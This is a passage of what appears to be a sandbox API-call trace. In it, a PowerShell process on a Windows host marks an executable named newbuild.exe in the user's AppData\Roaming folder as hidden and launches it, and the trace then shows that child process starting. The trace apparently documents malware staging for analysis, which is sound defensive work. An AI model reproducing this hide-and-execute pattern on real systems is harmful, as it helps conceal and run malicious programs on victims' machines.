(in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0160.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0160.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cf80) returned 1 [0160.310] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x250580d060 | out: lpFileInformation=0x250580d060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cf40) returned 1 [0160.311] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.311] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.311] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x250580cb10, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0160.312] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0160.322] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0160.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0160.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0160.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cbb0) returned 1 [0160.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x250580cc90 | out: lpFileInformation=0x250580cc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cb70) returned 1 [0160.324] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.326] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0160.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0160.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0160.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cbb0) returned 1 [0160.326] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x250580cc90 | out: lpFileInformation=0x250580cc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0160.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cb70) returned 1 [0160.328] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0160.912] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0161.181] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x76c) returned 0x0 [0161.181] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.181] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdab52d60, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.181] RegCloseKey (hKey=0x76c) returned 0x0 [0161.182] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x76c) returned 0x0 [0161.182] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.182] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdab53108, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.182] RegCloseKey (hKey=0x76c) returned 0x0 [0161.182] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x76c) returned 0x0 [0161.182] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.182] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdab53488, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.182] RegCloseKey (hKey=0x76c) returned 0x0 [0161.183] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db58 | out: phkResult=0x250580db58*=0x76c) returned 0x0 [0161.183] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x0, lpcbData=0x250580dba0*=0x0 | out: lpType=0x250580dba8*=0x1, lpData=0x0, lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.183] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dba8, lpData=0x1cbdab53830, lpcbData=0x250580dba0*=0x56 | out: lpType=0x250580dba8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dba0*=0x56) returned 0x0 [0161.183] RegCloseKey (hKey=0x76c) returned 0x0 [0161.183] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580db88 | out: phkResult=0x250580db88*=0x76c) returned 0x0 [0161.183] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dbd8, lpData=0x0, lpcbData=0x250580dbd0*=0x0 | out: lpType=0x250580dbd8*=0x1, lpData=0x0, lpcbData=0x250580dbd0*=0x56) returned 0x0 [0161.183] RegQueryValueExW (in: hKey=0x76c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580dbd8, lpData=0x1cbdab53bb0, lpcbData=0x250580dbd0*=0x56 | out: lpType=0x250580dbd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580dbd0*=0x56) returned 0x0 [0161.183] RegCloseKey (hKey=0x76c) returned 0x0 [0161.184] EtwEventActivityIdControl () returned 0x0 [0161.184] SetEvent (hEvent=0x9d8) returned 1 [0161.184] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x250580df10*=0x9d8, lpdwindex=0x250580dce4 | out: lpdwindex=0x250580dce4) returned 0x0 [0161.185] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e010, nSize=0xeb | out: lpBuffer="") returned 0x0 [0161.187] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, lpConsoleScreenBufferInfo=0x250580e1f8 | out: lpConsoleScreenBufferInfo=0x250580e1f8) returned 1 [0161.208] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, lpConsoleScreenBufferInfo=0x250580e1f8 | out: lpConsoleScreenBufferInfo=0x250580e1f8) returned 1 [0161.324] EtwEventActivityIdControl () returned 0x0 [0161.324] EtwEventActivityIdControl () returned 0x0 [0161.324] EtwEventActivityIdControl () returned 0x0 [0161.404] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe")) returned 0x20 [0161.409] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe")) returned 0x20 [0161.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0161.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x2d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", lpFilePart=0x0) returned 0x2c [0161.432] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250580cfb0, nSize=0xeb | out: lpBuffer="￾￿￿￿?Nj") returned 0x0 [0161.433] EtwEventActivityIdControl () returned 0x0 [0161.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e690) returned 1 [0161.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab75f48 | out: lpFileInformation=0x1cbdab75f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10bf1d1d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1229c398, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1 [0161.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e650) returned 1 [0162.295] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", dwFileAttributes=0x22) returned 1 [0162.300] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580df90, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0162.300] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580e390, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0162.300] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e220, nSize=0xeb | out: lpBuffer="?ր%") returned 0x0 [0162.417] EtwEventActivityIdControl () returned 0x0 [0162.417] EtwEventActivityIdControl () returned 0x0 [0162.417] EtwEventActivityIdControl () returned 0x0 [0162.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x250580e0b0, nSize=0xeb | out: lpBuffer="瀠\x02") returned 0x0 [0162.475] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe")) returned 0x22 [0162.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0162.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x2d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", lpFilePart=0x0) returned 0x2c [0162.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e120) returned 1 [0162.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe"), fInfoLevelId=0x0, lpFileInformation=0x250580e200 | out: lpFileInformation=0x250580e200*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x10bf1d1d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1229c398, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1 [0162.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0e0) returned 1 [0162.478] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe")) returned 0x22 [0162.481] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0162.522] LocalAlloc (uFlags=0x0, uBytes=0x5a) returned 0x1cbf2956550 [0162.522] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x1cbf2a59290 [0162.523] ShellExecuteExW (in: pExecInfo=0x1cbdabcdb08*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Documents", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x1cbdabcdb08*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Documents", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0xb5c)) returned 1 [0164.080] LocalFree (hMem=0x1cbf2956550) returned 0x0 [0164.080] LocalFree (hMem=0x1cbf2a59290) returned 0x0 [0164.080] EtwEventActivityIdControl () returned 0x0 [0164.081] EtwEventActivityIdControl () returned 0x0 [0164.081] EtwEventActivityIdControl () returned 0x0 [0164.081] EtwEventActivityIdControl () returned 0x0 [0164.081] EtwEventActivityIdControl () returned 0x0 [0164.083] SetEvent (hEvent=0x690) returned 1 [0164.083] SetEvent (hEvent=0x684) returned 1 [0164.083] SetEvent (hEvent=0x688) returned 1 [0164.083] SetEvent (hEvent=0x68c) returned 1 [0164.083] SetEvent (hEvent=0x6a0) returned 1 [0164.084] SetEvent (hEvent=0x694) returned 1 [0164.084] SetEvent (hEvent=0x698) returned 1 [0164.084] SetEvent (hEvent=0x69c) returned 1 [0164.084] SetEvent (hEvent=0x6a4) returned 1 [0164.101] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x250580ec90*=0x6ac, lpdwindex=0x250580ea64 | out: lpdwindex=0x250580ea64) returned 0x0 [0164.101] SetThreadUILanguage (LangId=0x0) returned 0x409 [0164.187] CoCreateGuid (in: pguid=0x250580eb88 | out: pguid=0x250580eb88*(Data1=0x115bbc14, Data2=0xa0a, Data3=0x4f4f, Data4=([0]=0x84, [1]=0xf, [2]=0xde, [3]=0x54, [4]=0xce, [5]=0xb5, [6]=0x78, [7]=0x93))) returned 0x0 [0164.193] QueryPerformanceCounter (in: lpPerformanceCount=0x250580eab8 | out: lpPerformanceCount=0x250580eab8*=26130333411) returned 1 [0164.193] EtwEventActivityIdControl () returned 0x0 [0164.193] EtwEventActivityIdControl () returned 0x0 [0164.193] EtwEventActivityIdControl () returned 0x0 [0164.194] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x250580e310*=0xa6c, lpdwindex=0x250580e104 | out: lpdwindex=0x250580e104) returned 0x0 [0164.195] SetEvent (hEvent=0xa64) returned 1 [0164.195] SetEvent (hEvent=0xa6c) returned 1 [0164.195] EtwEventActivityIdControl () returned 0x0 [0164.195] SetEvent (hEvent=0xa68) returned 1 [0164.195] SetEvent (hEvent=0xa64) returned 1 [0164.195] SetEvent (hEvent=0xa6c) returned 1 [0164.195] SetEvent (hEvent=0xaa4) returned 1 [0164.195] SetEvent (hEvent=0xa60) returned 1 [0164.195] SetEvent (hEvent=0xa40) returned 1 [0164.195] SetEvent (hEvent=0xa54) returned 1 [0164.195] SetEvent (hEvent=0xacc) returned 1 [0164.199] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x250580ec90*=0x6ac, lpdwindex=0x250580ea64 | out: lpdwindex=0x250580ea64) returned 0x0 [0165.994] CoGetContextToken (in: pToken=0x250580f530 | out: pToken=0x250580f530) returned 0x0 [0165.995] CoUninitialize () Thread: id = 162 os_tid = 0x6d8 Thread: id = 163 os_tid = 0x1104 Thread: id = 164 os_tid = 0x12a0 Thread: id = 165 os_tid = 0x1130 [0144.840] CoGetContextToken (in: pToken=0x250590f7a0 | out: pToken=0x250590f7a0) returned 0x0 [0144.890] CObjectContext::QueryInterface () returned 0x0 [0144.890] CObjectContext::GetCurrentThreadType () returned 0x0 [0144.890] Release () returned 0x0 [0144.890] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0144.890] RoInitialize () returned 0x1 [0144.890] RoUninitialize () returned 0x0 [0144.890] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0144.890] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0155.001] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0155.157] SleepEx (dwMilliseconds=0x331, bAlertable=1) returned 0x0 [0156.052] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0156.208] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0159.308] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0159.979] SleepEx (dwMilliseconds=0x2710, bAlertable=1) Thread: id = 166 os_tid = 0xc9c Thread: id = 167 os_tid = 0x1190 Thread: id = 168 os_tid = 0xe50 Thread: id = 169 os_tid = 0xa5c Thread: id = 170 os_tid = 0x133c Thread: id = 171 os_tid = 0xae0 Thread: id = 172 os_tid = 0xbb8 [0157.745] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0157.745] RoInitialize () returned 0x1 [0157.745] RoUninitialize () returned 0x0 [0157.749] ResetEvent (hEvent=0x7ac) returned 1 Thread: id = 173 os_tid = 0x12c8 Thread: id = 174 os_tid = 0xdc4 Thread: id = 176 os_tid = 0xdd0 Thread: id = 180 os_tid = 0x110c Process: id = "9" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x60211000" os_pid = "0xc10" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x6d0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 139 os_tid = 0xf48 Thread: id = 140 os_tid = 0xf38 Thread: id = 141 os_tid = 0x1184 Thread: id = 142 os_tid = 0x1254 Thread: id = 143 os_tid = 0x1144 Process: id = "10" image_name = "newbuild.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe" page_root = "0x628ab000" os_pid = "0xd0c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x6d0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Documents\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 175 os_tid = 0xa30 [0170.048] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0170.053] RoInitialize () returned 0x1 [0170.053] RoUninitialize () returned 0x0 [0170.193] CoTaskMemAlloc (cb=0x20c) returned 0x135a2f0 [0170.193] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x135a2f0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0170.195] CoTaskMemFree (pv=0x135a2f0) 